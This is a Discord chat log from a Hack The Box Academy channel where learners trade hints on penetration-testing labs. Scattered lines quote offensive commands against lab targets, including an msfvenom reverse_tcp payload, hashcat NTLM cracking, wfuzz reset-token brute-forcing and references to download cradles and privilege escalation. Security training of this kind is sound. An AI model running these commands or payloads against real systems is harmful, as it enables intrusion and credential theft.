modules

[unreal patio]

Anyone else?

I can't start pwnboxes 😦

[proud pine]

Yeah, just got it when trying to spin one up.

[vital adder]

just try got the same issue

[livid bluff]

Here the same for spawn a target.

[rustic sage]

Same issue overhere

[spare condor]

Same. When will this be fixed?

[rustic sage]

Is there an administrator to report this to?

[pulsar dirge]

same here

[proud pine]

nobody fed the server hamster

[unreal patio]

In case anybody is wondering the ovpn file still works

[rustic sage]

Hello I come to ask for help for my hacked google account to recover it I do not remember the password and I do not know if the hacker who did this changed the email address of the account

[autumn pilot]

Reach out to the support of the respective server/application/website

we cannot help you in recovering your google account

[candid zephyr]

If you didn't know the password I'd suggest it wasn't your account.

[rustic sage]

But someone tell me i can recovery it with Google support but I understand nothing and I need a tutorial

[candid zephyr]

Start here. https://support.google.com/ This discord isn't the place for it.

[rustic sage]

I managed to get a new Pwnbox instance

[spare condor]

@vital adder @tiny ledge I got the uid of the Admin account. How can I take the token ? (Web Attacks - Skills Assessment)

EDIT: Found token but still getting Access Denied (see: #modules message)

[ripe terrace]

Is it just me, or does anyone else have this happen to them? Just went through a module (password attacks) and did reasonably well & felt confident near the end. Now I'm at the lab part, and I can't even get passed the easy lab, haha. It's like an existential crisis. Clearly, I'm overthinking it or missing something obvious.

[graceful rampart]

The easy lab is harder than the medium lab for that module

Don't sweat it. It happens sometimes

[proud pine]

I feel like some of the modules don't always prepare you as well for the assessments. Often times, you don't need to tweak any of the commands they show, in the various sections - copy/paste can lead to a lack of understanding.

[graceful rampart]

Well tbh I feel like it's on you to make sure you understand the sections. You're encouraged to experiment with the tools and commands given all the time.

[proud pine]

Sure, but I think there'd be less 'shock' for some people, if the sections made you change some settings, and understand why.

[graceful rampart]

For sure

[ripe terrace]

It's definitely an experience issue (it's all new to me). So when you're suddenly presented with a black box, you feel overwhelmed or unsure of where to start.

[graceful rampart]

All youre experiencing is the feeling that many of us experienced when we attempted our first ctf. You'll figure it out it's just takes time. Also if you wanna dm me for a nudge feel free

[proud pine]

I think there were like 3 or 4 modules in the CPTS path that had the first assessment harder than the second.

Windows privesc assessment 1 took me like 3-4 hours. Assessment 2 took me 15 minutes.

[graceful rampart]

Yea

[ripe terrace]

For sure, I'm definitely enjoying the process though.

[graceful rampart]

That's a good thing

[sly tapir]

Ty

[spare bison]

Hey guys

About to start htb as a beginner

Any advice?

[spare condor]

Web Attacks - Skills Assessment I have found the uid and the token of the admin user but still can't change the password. Can anyone help me? Or DM anyone?

[cold kiln]

I’m having trouble with Tryhackme and the rooms. A couple of days ago I entered into a room and after I was finished, I close down my computer when I turned my computer back on on my progress was at zero it is not showing my progress on the dashboard interface so I would try to go into the exact room. I was working in and it was saying that I am already a part of this group. It is not letting me finish the work that I was working on in that particular group. I am confused on what’s going on I try to change my browser. I tried to resetting my computer I tried clearing the catche but nothing is working. Does anybody have any clue what’s going on here ?thank you.

[rustic sage]

Hi, you my want to join THM discord server.

I just checked and you're not there.

[graceful rampart]

This is the HackTheBox discord

[hollow frigate]

Im a bit stuck on PIVOTING, TUNNELING, AND PORT FORWARDING - Web Server Pivoting with Rpivot
struggeling to proxychains firefox-esr 172.16.5.135:80, proxychains is working with nmap and i can see that 172.16.5.135:80 is alive and running. just can't get firefox to use proxychain. I don't know if i am missing something. any guidance will be much appriciated.

[graceful rampart]

you can try just regular firefox

proxychains firefox 172.16.5.135:80

Do you have your proxychains conf set up correctly?

[hollow frigate]

jip proxychain.conf was the first place that i looked at and it is setup correctly

[graceful rampart]

What exactly is the issue? Can you send a screenshot?

[fresh reef]

Attacking Common Services : SQL

Having trouble cracking the mssqlsvc with hashcat ... ive run

$ echo "mssqlsvc::XXX-##:XX^0x32:<...>:<..>" > mssqlsvc_hash.txt && hashcat -a 0 -m 5600 mssqlsvc_hash.txt pws.list -o mssqlsvc_cracked.txt -O

But recover no digest (edited)
Jump

[candid zephyr]

kali seems to have proxychains4.conf as its default

[proud pine]

Probably better to use something like foxyproxy, rather than trying to pipe all of firefox through proxychains.

[cold kiln]

Yes lol I don’t know why I keep getting this discord confused 🤣

[thorny solstice]

Try the full hash and you can try rock list

[graceful rampart]

Youre probably right, however you can do it with proxychains (thats how the example shows it)

[rustic sage]

Hi, having an issue with Shells & Payloads -> Live Engagement

Just need a hint on "Exploit the target and gain a shell session. Submit the name of the folder located in C:\Shares\ (Format: all lower case)"

I know how to implement the payload, how to listen etc. But i'm just needing a hint on what payload i should really be using - i'm not really getting it

this is the payload im making ||msfvenom -p windows/patchupmeterpreter/reverse_tcp LHOST=172.16.1.5 LPORT=8080 -f war > red.war||

[plucky falcon]

did u guys ever attend CTF (Capture the flag) competition hacking

hmm?

[rustic sage]

oof, don't think i'm good enough for that myself, but i know a lot of people who have !

[plucky falcon]

once dm's bro

[placid quest]

@hollow frigate Are u still stuck

@fresh reef Are u still stuck

[rustic sage]

Hi,

I am doing INFORMATION GATHERING - WEB EDITION - Viritual Hosts

I passed this command: ffuf -w dns-Jhaddix.txt -u http://10.129.209.193 -H "HOST: FUZZ.inlanefreight.htb" -fs 612

The thing is, verbose output is so huge and fast and I can't see anything, is there option to only output found subdomains in console?

[rustic sage]

could you output it to a file? that might help if you can

[rustic sage]

I can try, Idk if it will output all scanned subdomains, instead of found ones

[hollow frigate]

hi crean, yes i am still stuck on this

[rustic sage]

Still need help on this whenever someone can help ^^

[placid quest]

@hollow frigate dm

[graceful rampart]

If its outputting everything you need to modify your filter. Take a look at the output. There should be a column called size. What number is in that column for most of the directories it finds? Change the number after -fs in your command to that number

[rustic sage]

Again you, saving me. Thanks a lot mate. That worked haha! 🙂

[spare condor]

Still need help with this ^. Anyone??

[graceful rampart]

Np

[rustic sage]

Hey, one more question. I got

ap [Status: 200, Size: 102, Words: 3, Lines: 6, Duration: 83ms]
app [Status: 200, Size: 103, Words: 3, Lines: 6, Duration: 62ms]

Is this found subdomains or it isnt filtered bcs I set -fs 10918 so those 2 passed? Because, I tried to go on browser and visit ap.inlanefreight.htb but it doesnt work

And I need to submit flag.

[graceful rampart]

Those are subdomains. You'll need to add them to your /etc/hosts file before you can access them

[rustic sage]

I already did. I found solution. ||curl command|| mentioned in module. THanks

[graceful rampart]

If you can Curl them you should also be able to access them in your browser

All Curl is doing is making a web request. If the request goes through in your terminal it should go through in your browser

[rustic sage]

I tried. Doesn't work. So weird.. I even used http instead of https

[graceful rampart]

Hmm. I don't remember that module so well off hand 🤷‍♂️

[rustic sage]

can anyone explain what sed commands are? I'm on the Service Login skills assessment and seen a few hints regarding the use of sed commands to reduce the wordlist

[unreal patio]

@rustic sage

[rustic sage]

Thanks! Not sure how i can apply this to the brute force, but oh well!

[unreal patio]

What do you want to do with Sed?

[rustic sage]

nevermind it just cracked after 40 minutes 😄

[unreal patio]

[rustic sage]

i do love hack the box

i find it so addictive, worse than videogames

[brisk geode]

are you still stuck?

[rustic sage]

I am ^^;

[broken warren]

Can someone help me with the file inclusion assessment, I've found the logs and everything, idk where to put my payload. I'm not looking for cryptic hints just help me with the process, I'm %97.67 my cbbh and just want to have it done so I can stop worrying about it. SOLVED! somehow I found it by the skin of my fore. I will be taking screenshots step by step for anyone that needs help in the future, just send a message.

[earnest hollow]

who can help me with the first question in Interactive Section

from HTB academy

it is what the first name of the module for sectios

sections

[autumn pilot]

usually, you are the one who can help yourself

[earnest hollow]

why

[tender acorn]

read the names of the sections what is the first.
the section list is in the right top.

[sage jackal]

Can someone help me on NoSQL introduction ; Skills assessment 2?
It seems it’s JavaScript Injection either on login or reset but after trying multiple payloads I’ve still got nothing.

[thorn urchin]

well for starters Ive nearly completed the whole cpts course and I have no idea what youre asking.

[earnest hollow]

done

thank you

[tender acorn]

Its from "Intro to Academy" the First module the tutorial the first question

[earnest hollow]

the questions is too hard

HHH

[thorn urchin]

Ah gotcha

doesnt sound like something anyone can help with without giving the answer

[tender acorn]

i cant upload the screenshot. why

[thorn urchin]

cause you havnt verified your account yet

[earnest hollow]

who?

[tender acorn]

i don't find any verification

[thorn urchin]

you would if you read server rules and introductions better

#welcome

[earnest hollow]

how to do the step 3

[stuck hull]

Step 3: Go to #bot-commands and type ++identify (ACCOUNT_IDENTIFIER)

Go to the channel bot-commands and type ++identify(ACCOUNT_IDENTIFIER)

[thorn urchin]

you trolling?

[earnest hollow]

Nope

I'm new here

[thorn urchin]

how old are you?

[earnest hollow]

guess

[thorn urchin]

8

[tender acorn]

it is very easy when you just read

[stuck hull]

That's a spoiler.

[tender acorn]

this is not a verry big spoiler

[thorn urchin]

Not even insulting thats my genuine guess at the moment, which if is the case might want to consider waiting a few more years before trying to dive into this topic. Difficulty following basic instructions is going to make the actual content very very difficult to learn.

[thorn urchin]

its literally the answer

thats the most spoilery you can spoil lol

[graceful rampart]

Isnt that a tier 0 module tho?

Only tier 1 and up is treated as live content

[stuck hull]

I was struggling on that one so am grateful for it.

[graceful rampart]

lol

[earnest hollow]

how old are you Mr old man

[tender acorn]

this from the tutorial Module. yes it is a spoiler but its the TUTORIAL for a nother module i dont do that

[graceful rampart]

ngl i feel like your probably right about in the 9 - 12 range

[thorn urchin]

12

[stuck hull]

I think you called it with the troll @thorn urchin - I'm so bad at seeing them.

[thorn urchin]

Ive seen my large share of trolls over my time. Its just pattern recognition

[graceful rampart]

^

[brisk geode]

can any one help me with the subnetting section of the networking module?

Split the network 10.200.20.0/27 into 4 subnets and submit the broadcast address of the 2nd subnet as the answer.

[rustic sage]

The brute force module is poorly written 😄 DM me anyone if you need a hand

[thorn urchin]

in fact Ill go one step further and bet its the same person behind LightningDev

Similar style and account creation times line up

[earnest hollow]

Hhhhhhhhh I'm older than you

[thorn urchin]

👍

[brisk geode]

can i call u grandpa?

[earnest hollow]

no I'm not that older

[brisk geode]

uncle then?

[earnest hollow]

no I'm still 18-

[rustic sage]

hello

[viscid furnace]

Hey

[rustic sage]

whats up

how ya doin

[viscid furnace]

Doing good, how you doin

[rustic sage]

great.

how long have you been hacking?

[thorn urchin]

What module is this about?

[viscid furnace]

About a year on and off

[rustic sage]

nice.

[viscid furnace]

Hes right though

[thorn urchin]

Youre in the academy section, this is for discussing academy modules. Verify your account on #welcome and then go to general if you wanna just chat

[rustic sage]

Really sorry again for reposting this

I do want to get it done today so I can get some more knowledge under my belt ^^;

[stuck hull]

I didn't make a payload for that one, I just used one of the ones in msfconsole until it worked.

[rustic sage]

A normal exploit?

[stuck hull]

Your confidence suggests I may be miss-remembering lol - but I think so yeah

[rustic sage]

I'm only saying because the attack vector I found was ||a file upload on the server manager||

[stuck hull]

Is this for host 3?

[rustic sage]

1

Host 3 was...uhhh

Yes an exploit

[stuck hull]

dw about me, I'm talking about completely the wrong module.

[rustic sage]

Ohhh okay

[stuck hull]

no, wait. we are talking about the same one. So you cannot get the ||upload|| exploit to work?

[rustic sage]

Nope

Although I'm certain it's my fault

I'm not sure where I'm going wrong

[stuck hull]

but I didn't use msfconsole. That was my mistake. Do you want to DM me, where you got to?

[rustic sage]

Ay please thank you !

[brisk geode]

lmk if u get stuck

i just did that a couple of hours ago

[brisk geode]

is that the 2nd qus?

[rustic sage]

yes

still crying, still seething, still coping

[dim fossil]

Hi, im currently stuck on Footprinting imap is their anyone who can give me a hint?

[bleak sphinx]

Anybody know any exploits for Konichiwa 1.1

[fathom pendant]

What is the issue you're having ? Be a bit more detailed

[dim fossil]

i have to input the organisation name i feel like i found it but it is not correct

[fathom pendant]

Ah

DM me what the org you think it is

[frozen wasp]

Hello, I am stuck at "Footprinting Lab - Medium". I found the|| sa creds but can't log in with them to MSSQL||. I also saw a hint in upper commends about ||reviewing other applications in windows||, but I was still stuck with the machine. Can I get help, please?

[fathom pendant]

May I DM you the hint? As it can be a spoiler

[frozen wasp]

Of course

[cyan jewel]

where's the general chat?

[fathom pendant]

#general , you need to verify your HTB account in #bot-commands to see it

[cyan jewel]

I keep getting an error

[fathom pendant]

There should be a green chat bubble at the bottom right in the htb page to contact support

[twilit obsidian]

Hi.. module: ZAP Fuzzer.. trying to grab a request to the web .ip../skills/ to get a cookie as a guest user and i have a cookie in respones.. I am missing something.. where should I correct it?

[shadow canopy]

can someone help me with this challenge
Predictable Reset Token - Broken Authentication
https://academy.hackthebox.com/module/80/section/779

• i converted time, date to epoch milliseconds
• generated wordlist numbers.txt
  $ for i in $(seq <epoch +10,000> <epoch -1000>); do echo $i >> numbers.txt; done
  $ wfuzz -v -c -t 100 -z file,numbers.txt,md5 -u "WEBSITE" -X POST -d "token=FUZZ&submit=check" --hl 54

not getting results

[polar aspen]

I had the same issue. What i was doing wrong was to not set de LHOST. It was automatically set for my local IP, so I hado to set it for the vpn IP

[naive aspen]

Can anyone point me in the right direction for the Attacking GitLab username question? The script on exploit-db didn't work for me so I wrote me own, it finds the usernames in the example so it works but what username list do I need to use? I tried all in the seclist usernames folder except the xato lists as the box timeout before it finishes the list.

[cyan jewel]

can someone help me in community-help

[woeful ermine]

Hello everyone. I am stuck at taking notes. I dont want to start another module before finishing note taking part. Would anybody like to share notes with me for any of the following modules? ( Cracking Passwords with Hashcat, File Transfers, Password Attacks, File Inclusion, Using Web Proxies)

[graceful rampart]

Everyone takes notes differetly. You need to find waht works for you

[thorn urchin]

Honestly taking notes yourself is nearly half the point of even doing modules

[woeful ermine]

yeah you are right. I am bored with it and going crazy though. hahahaha

[thorn urchin]

my notes have noticeably improved from when I started to where I am now

Considering redoing some of the earlier modules even

[graceful rampart]

If you want to see some different formats to get a feel for some of the ways other people take notes, heres an example from part of the AD module from my notes

[woeful ermine]

It looks great

what are you using

[graceful rampart]

For exercises and labs i make use of the canvas feature in obsidian like this

[graceful rampart]

Obsidian

[woeful ermine]

I am just mesmerized by the blue color. I am using notion.so

[graceful rampart]

Ah

I used notion for a little bit. But i like obsidian a lot more

[stuck hull]

I love your Obsidian layout. I need to sit down and work out how to get the layout like that

[graceful rampart]

(And you can export notion pages into markdown files so if you switch to obsidian you can just export all your notes and put them) directly into an obsidian vault

[vital adder]

how tf can you add color to Obsidian??

[graceful rampart]

Thanks. Took me a bit to find a format I like but yea

[graceful rampart]

You mean all the blue? Those are just code snippits. The theme im using turns them blue

[woeful ermine]

gonna try that thnx

[stuck hull]

Does the theme to the break lines too?

[graceful rampart]

yea lol

I love this theme

[stuck hull]

I'd like to make my own custom theme at some point. It's on my list of things to do lol

[stuck hull]

What is it?

[stuck hull]

Also, are you pulling notes directly into the Canvas?

[vital adder]

and your graph is also from the theme?

[graceful rampart]

Depends. If I find that im just copy pasting things right out of a different page then yea, i embed that page in the canvas. Otherwise I use screenshots or I add text

[graceful rampart]

Nope. Thats just obsidian canvas

[vital adder]

i got a million dots for my graph 🤣

[graceful rampart]

Thats the mindmap. Canvas is different

[stuck hull]

Purple Tux - Senior Obsidian expert; AMA 😂

[vital adder]

jesus christ i didn't even know about canvas

[graceful rampart]

lmao

[sly tapir]

I like how you can make those tabs… I have been using Joplin, but it doesn’t let me tab like that

[graceful rampart]

I just accidentally found a feature i didnt know about lol

If you ALT+Click somewhere in your notes you can write in 2 different places at once

[limpid mountain]

may i know how to get help pro APTLabs? at least the skills/courses. i am alrady OSCP certified

[twilit obsidian]

Can anyone point me in the right direction? doing ZAP Fuzzer module and my request with ip=/skills/ does not give me a cookie.. only I have cookie in response..

[graceful rampart]

#prolabs-aptlabs

[candid zephyr]

#prolabs-aptlabs

People use Dante for OSCP prep and the difficulty scale goes Dante, Offshore, Rasta Labs, Cybernetics, APTLabs.

So I presume it's quite tough.

[stuck hull]

Thank you for that theme, I love it. The only thing that bugs me a little is that links look like typos -- but by far the best one I've tried.

[graceful rampart]

Yea. Youll get used to it. Everything else about is great

[rustic sage]

Yo i need help !

[hardy meteor]

hello guys

this is game?

[graceful rampart]

Many people here will be happy to help as soon as you figure out how to ask a question

[rustic sage]

I try to do a machine in htb

It's name is ... Soccer

[graceful rampart]

wrong channel. Go to #boxes to ask for help with HTB machines

[rustic sage]

Thanks buddy

[viscid mountain]

hi anyone that completes the AD Enumeration and Attack module that could help me with the assessment 2

[graceful rampart]

Ill probably be up to that at some point tommorow

[stuck hull]

can anyone give me a nudge on what wordlist to use for the Attacking LSASS?

[undone tulip]

if u are in zsh use stty raw -echo;fg in one line

[sly tapir]

Yea I was using two different lines—I think thats what messed me up.. not sure.
Ill re-do it again tonight—thank you

[ivory dock]

Can someone please explain the difference between mounting an NFS share as root vs mounting it with sudo? I don't want to spoil any exercise but mounting the share as root (sudo su) let me browse the important directory in a share, while mounting using sudo I couldn't enter said directory

[warm lichen]

Hmm.. I wonder if the sudo conf for your machine makes it so that using sudo, as opposed to changing to root using su, your real user ID is not the same as your effective user ID

It could be messing up with the NFS share permissions when you're mounting it

[warm lichen]

Maybe try running ./touch test using both methods and seeing who owns the file?

[ivory dock]

in the share? it's non-writeable

[warm lichen]

Yeah right ok, then root_squash option is set I guess. So what I said earlier probably isn't the case

That's interesting though haha, let me know if you get the answer

[fathom pendant]

Just explore the NFS as root

¯_(ツ)_/¯

[azure mural]

What linux is best

Or preferred for this system

[novel matrix]

wrong section to be asking as this can be asked in #1024429874246590575

[fathom pendant]

There's really no "best" as you can download and run any/most tools on any/most distros

[devout flint]

Hi, doing the introduction to windows command line module and get stuck on the last question

[ivory dock]

yes, but why does it work is my question

is it intended?

[ivory dock]

will do

[fathom pendant]

Probably intended

[ivory dock]

that's not helpful

[solid python]

Linux privesc module talks about it in detail

The exact mechanisms behind it might be on some Linux forum or in man pages regarding NFS shares and configs

[thorn urchin]

so does the module I believe theyre currently on

[wide dagger]

guys

@sick fulcrum

help plz

@astral elm

@drifting knoll

i need help

@sharp cove

@west rampart

[vital adder]

[wide dagger]

@vital adder

[little whale]

! AQUA 🔱 got the boot!

[stuck hull]

hahaha! what was he thinking?!

[stuck hull]

could it be related to this: https://www.linuxquestions.org/questions/linux-networking-3/root-denied-permission-to-nfs-mounted-directory-but-user-can-read-and-write-4175574268/

[ivory dock]

Didn't find anything

[ivory dock]

Yes! The answer to the question in the link that's provided there mentions that the root user is mapped to nobody

And on the NFS share, only nobody could read

Thank you!

@warm lichen ^

[solid python]

This is mentioned in greater detail as a privesc method using NFS on Linux 🙂

[ripe terrace]

Is anyone around who could help me with a nudge on the password attacks - medium lab? I've gotten a decent way into it, but now I've hit a wall, and I feel like I've exhausted all my options... Open to DM.

[graceful rampart]

DM

[warm lichen]

Hmm.. that's sort of what I meant when I said the no_root_squash option wasn't set. For security reasons NFS mounted shares, even mounted by root, will be squashed to the nobody user/group so that you can't just mount an NFS and be root in that system.

I don't get why using sudo and switching to root with su will make that interaction different though?

Like you'd still be root in either case, which should put you in the nobody user / group

[novel matrix]

doing stupid shit like that will get ya the boot haha

[fathom pendant]

Imagine joining a server and not reading rules

[ivory dock]

Thank you, will take an extra good look at that to confirm then

[ivory dock]

Sudo doesn't make you root

Sudo says: root says I can do this

[ripe terrace]

Solved, thank you.

[warm lichen]

Yeah I know, but if you run sudo id for example it will give you the ID of the root user. So any service / program you run with sudo will be running as the root user.

I could be wrong here, but wouldn't that mean mounting an NFS share with sudo means you're mounting it as root anyway?

[solid python]

Is what is happening because you're creating the share as the root user, but can't write to it without being root?

[fathom pendant]

^

[warm lichen]

Lol

Yes that will do it

[fathom pendant]

Sudo in Linux is the same as the runas command in Windows

Or at least similar

[plush steppe]

I think I'm going crazy, I'm forced into doing windows fundamentals and I'm on the Skills assessment section

everything has been pretty straight forward except for this question:

List the SID associated with the HR security group you created.

I've looked through the entire course and can't see anything that talks about what a security group is and/or how to make one.

[fathom pendant]

https://en.m.wikipedia.org/wiki/Security_Identifier

[plush steppe]

Yes, I mostly understand SID's but I don't understand how to make a security group

[fathom pendant]

It looks like it asked you to create a group and assign it permissions

[plush steppe]

1. Creating a shared folder called Company Data
2. Creating a subfolder called HR inside of the Company Data folder
3. Creating a user called Jim

    Uncheck: User must change password at logon

4. Creating a security group called HR
5. Adding Jim to the HR security group
6. Adding the HR security group to the shared Company Data folder and NTFS permissions list

    Remove the default group that is present
    Share Permissions: Allow Change & Read
    Disable Inheritance before issuing specific NTFS permissions
    NTFS permissions: Modify, Read & Execute, List folder contents, Read, Write

It first asks me to make folder

then subfolder

then a user

then randomly jumps to making a security group

@fathom pendant

[fathom pendant]

Hmm it has to be in the module somewhere

[plush steppe]

~~ smh well I found it tucked away my bad ~~

thanks for the help

hopefully I can actually do it now

nope, it's quite literally not in the module

[sly tapir]

When I run sudo -l it shows, ALL:ALL NOPASSWD /usr/bin/php That means I can run php as root correct?

[polar aspen]

I'm stuck a bit beyond (the post/session part). what i did:
1- Used nmap to find the open ports
2- Used curl to get the html
3- Inspected de html to figure out the application (it is one word, no need of the version)

I tried to look for "post" not "exploit". like: "$ grep sudo search post"

[autumn tundra]

hello in the dns enumeration my hint is to change the wordlist to find the fqdn of xxx.xxx.xxx.203. I have tried every list in the DNS enumeration and dont have a .203 . Is there a better folder than enumeration?

[fathom pendant]

Yes

[polar aspen]

Module: USING THE METASPLOIT FRAMEWORK
Section: Sessions & Jobs
Third question: "...old version of Sudo running..."
After getting the meterpreter on target machine, i found the module: "post/multi/manage/sudo". I put the session of the meterpreter, but it ask for a shell, not a meterpreter. Can anyone help me with a hint? If thats the way or I'm in the wrong path...

[fathom pendant]

There is an outside resource about getting out of bins ;) @sly tapir (it's given in the module)

[sly tapir]

Yea im looking at GTFObins rn

[red obsidian]

There is no flag here. Get back to hacking!

[fathom pendant]

:D I keep it bookmarked

[autumn tundra]

hello in the dns enumeration my hint is to change the wordlist to find the fqdn of xxx.xxx.xxx.203. I have tried every list in the DNS enumeration and dont have a .203 . Is there a better folder than enumeration?

oh lol it blocked my paste of the output of the scan

[polar aspen]

Update:
I tryed to change the payload for a shell reverse_tcp. worked, but could not try the post (time ran out).
trying it tomorrow

[graceful rampart]

That is not the correct module

You may want to start but running the command sudo --version to get the sudo version for that machine and starting your research from there

[outer snow]

i have a problem and a question about htb academy pwnbox

I keep getting this timeout errors but have no idea whats causing it

[autumn tundra]

@graceful rampart Can i have assistance with dns enumeration: What is the FQDN of the host where the last octet ends with "x.x.x.203"?

ive tried all the word list in that folder and the usr/share/ folder

it finds three records then stops

[graceful rampart]

Please dont ping me unless youre replying to one of my messages. On top of that, instead of just saying "Can I have help with x" which now requires me to ask you for more information, its always a good idea to provide as much information as possible from the getgo. That way, If someone else knows the answer they can respond as well

[graceful rampart]

Lemme check my notes for that one

K, so i dont have notes on that section, but iirc this hint is what you need: "Remember, you can have subdomains of subdomains"

[autumn tundra]

ok thank you!

[hazy grotto]

Are you available?

[pseudo epoch]

Has anyone had trouble getting the provided powershell reverse shell code in Shells & Payloads module working? I entered the correct tun0 address and port, but I keep getting an ExpectedExpression error code. I have tried restarting multiple times, using both the provided attack box and my own host to no avail

[fathom pendant]

Also you'll need to try a few different lists, I'd try the smaller lists first

[autumn tundra]

@fathom pendant i have tried all in that folder and in the /usr/share

i guess my question is do i need to look for another parent folder

[fathom pendant]

But as stated by tux, subdomains of subdomains. It's in Seclist DNS

But as far as which DNS enumeration list it is, that is the patience part

[red obsidian]

There is no flag here. Get back to hacking!

[novel matrix]

Please use the correct channel for #bot-commands

[fluid urchin]

Module: AD Enumeration & Attack Skill Lab 2
I’m trying to run Snaffler in MS01, but the 32 bit compiled exe in previous lab doesn’t work . I tried to compile it myself through MS studio but it forced me to upgrade from .NET 4.5 to 4.8 Anyone know how to compile 64 bit Snaffler with .Net 4.7?

[fathom pendant]

Bad gateway error

[polar aspen]

worked as a charm!
thx!

[fresh reef]

Yes i am @.@

[fresh reef]

Sorry i was at my current gig (looking forward to seeing what a CPTS opens up for me). That being said ...still trying to figure out cracking this hash for the plain text pass like a noob lol

[graceful rampart]

Need a nudge on the "Attacking Child -> Parent" domain trusts from linux section of AD Attacks and enumeration. I cannot for the life of me figure out how to get this hash. I have the Golden Ticket. Dont wanna spoil anything here so if youve done this section please let me know so we can discuss in DM's

Solved

[sly tapir]

that Getting Started module was quite fun

[feral stump]

Make sure you look for a ||”fierce”|| wordlist in Seclits

[iron plaza]

guys is HTB academy down?

[novel matrix]

noo?

[iron plaza]

well i am getting a connection timed out

for anything HTB related ... other sites load fine

[shadow canopy]

how to hash every line in txt file to md5

[novel matrix]

something on your end it seems

[devout torrent]

Hello there, I am currently doing module Footprinting, and I am stuck ing the SMTP question

Enumerate the SMTP service even further and find the username that exists on the system. Submit it as the answer.

While googling it said i came across I should use the command

||nmap -sV --script smtb-enum-users hostname -p25||

But when I use the command i get I do not have the correct script or script not avaliable,

I am just wondering if I am on the right path or is it something else 😛

[autumn pilot]

smtb != smtp

[devout torrent]

Thank you

[rugged veldt]

Hey there, I am trying to do the Public Exploits section of the Getting Started module. However the target IP they have given me contains a port, I am unable to ping to it with that port included or removed. I have tried restarting it numerous times as well

[autumn pilot]

You cannot ping a docker target, if that's the case

[worldly scaffold]

not sure if it is just me but I'd had so many stability issues completing the exercises throughout the academy. Frequent VPN disconnects, instances having to be restarting several times until they're resolvable, etc. Makes the whole experience take about 10 times longer than it should

[autumn pilot]

find a way to grab the banner, using netcat, telnet or else

[autumn pilot]

reach out to support

[rugged veldt]

unable to telnet or nc to the target

[autumn pilot]

maybe your syntax is wrong

[rugged veldt]

So the target is 165.22.115.189:32439

I am doing nc 165.22.115.189:32439

and telnet 165.22.115.189:32439

[autumn pilot]

thats not how it works

check the manuals of the tools

[vital adder]

check with a F ing browser 🤣

[autumn pilot]

or that

[vital adder]

also you can't scan docker container so don't even don't even bother

[autumn pilot]

and the next question is how can you ping a port

[rugged veldt]

i didnt

i did ping 165.22.115.189

[vital adder]

you can't do that either you only have access to that one give port not the ip or any other port

[autumn pilot]

let's think hypothetically, that IP is responsible for many services

[rugged veldt]

i didnt realize that

ty

[autumn pilot]

SMTP, SMB, FTP and HTTP, HTTPS and so on

how can we differentiate those services

[rugged veldt]

the port

[autumn pilot]

Okay, so far so good, the next thing is how can you understand what is running on which port

when they are not using the default ones

e.g. http is not running on port 80 or 443 respectively https

but on others that are random

[rugged veldt]

banner grabbing

[autumn pilot]

bingo, do it now

[rugged veldt]

one of the examples u gave was nc right?

im getting a timeout when trying nc -nv 165.22.115.189 32439

[autumn pilot]

yes, it can tell you if the port is open or not, doesn't necessary require to have a banner if its not configured

[rugged veldt]

created a new target and now getting connection refused

[magic valve]

Is anyone available for a hint for AD Enumeration & Attacks - Skills Assessment Part II question 4- I’ve enumerated the domain finding all the users but lost on how to get the username and password from here on..I have also tried to spray from evil-winrm on the previous found credentials but gets stuck. Also have attempted on the pwnbox but unable to transfer tools from it when logged into the htb-user ssh session to the evil-winrm session. I have been stuck on this for days.

[rugged veldt]

ok got everything sorted, i had to restart my vm and get a new target

now the webpage loads

and im able to netcat

[ivory dock]

Can someone please give me a nudge with the medium footprinting lab? I have RDP access since yesterday as alex but haven't been able to advance

I looked through all the directories couldn't find anything related to sa credentials, so I have no idea how to access the database

[autumn pilot]

enumerate and look carefully again

there is a specific thing that stands out

[mortal basin]

🔥

[spare condor]

Still need help with this ^. Anyone??

[ivory dock]

Ran a full nmap scan, checked the share, and the important file again, I don't see anything strange :/

dammit dammit

never mind, didn't look thoroughly enough

ahh medium footprinting is a tricky bastard hahah

that was fun

[stuck hull]

What's the question?

[devout torrent]

So in Footprinting - SMPT, for question

" Enumerate the SMTP service even further and find the username that exists on the system. Submit it as the answer. "

I used a Python code that would VRFY all the names in footprint-wordlist.

I found the flag, but there has to be a better way or a easier command. Would somebody be kind enough to explain the command to me

[ivory dock]

@devout torrent DM

[storm jackal]

Does any use the commix tool for command injection? I don't notice it talked about a lot, but it seems to be a popular project on github. https://github.com/commixproject/commix

[wraith spoke]

question: I have made an SSH socks5 tunnel to a foothold. can I now add the localmachine and port to foxyproxy to use firefox ?

[crisp remnant]

Can anyone shed some light on the file uploads module skill assessment

[wraith spoke]

yes i can 😄

[broken warren]

I might be able to, i have it solved but i didn't take notes like a noodle.

[leaden quail]

Hey Guys, Im stuck at "AD Enumeration & Attacks - Skill Assessment Part I" => Crack the account's password. Submit the cleartext value (svc_sql).

I tried to use some LotL Methods but nothings works, so i want to upload PowerView oder Mimikatz for Kerberosting

So i am able to upload PowerView.ps1 but cant find it in the Windows

some hints here?

[graceful rampart]

You used an IEX download cradle. Meaning that the powershell script isn't saved to disk but rather loaded directly into memory. I'm not sure if that will work for importing a ps module. Altho, if it does, you should just be able to run powerview commands

[mortal surge]

I don't see support chat on academy platform..

I would like someone to verify my university email

[storm jackal]

Click on icon in the bottom right

[mortal surge]

no send message option

[half sapphire]

Call. Snoofing best tool for kali??

[solid python]

Support is on the main platform

[solid python]

Caller spoofing? Like for phones? Falls outside of scope of most things and isn't taught on this platform

[half sapphire]

Ya caller snoofing

Tool name??

[solid python]

Not taught here.

This is the wrong channel for your question as well.

[autumn pilot]

thats incorrect

[solid python]

Is there an academy support button?

[autumn pilot]

of course there is

[solid python]

Oh. Well consider me wrong then

[mortal surge]

I see the same thing on main

can't send a message

[solid python]

It also seems you're on mobile

[mortal surge]

i'm not

[solid python]

Oh is this a screenshot

[autumn pilot]

@mortal surge choose an article and pick the sad face at the bottom

once done you will be prompted to send a message

[solid python]

Yeh do that!

[mortal surge]

tried that

😦

I managed to send an email.
Hopefully...

[solid python]

I've seen issues with not seeing the support options due to some adblocker settings

[coarse mango]

Hello all, I am having trouble in the skills assessment for Intro to Windows Command Line Module. Any help would be appreciated

[placid quest]

@scarlet shore <@&861185840277487616>

[tough fjord]

thanks!

[stuck hull]

dammit, I always miss the good stuff lol

[placid quest]

@stuck hull how

[high zinc]

Saaaame 😦

[graceful rampart]

We all miss the good stuff

[tough fjord]

it wasn't that good. Some fool telling people how he can help you make big cash with crypto scams

[graceful rampart]

Ah

Classic

[meager topaz]

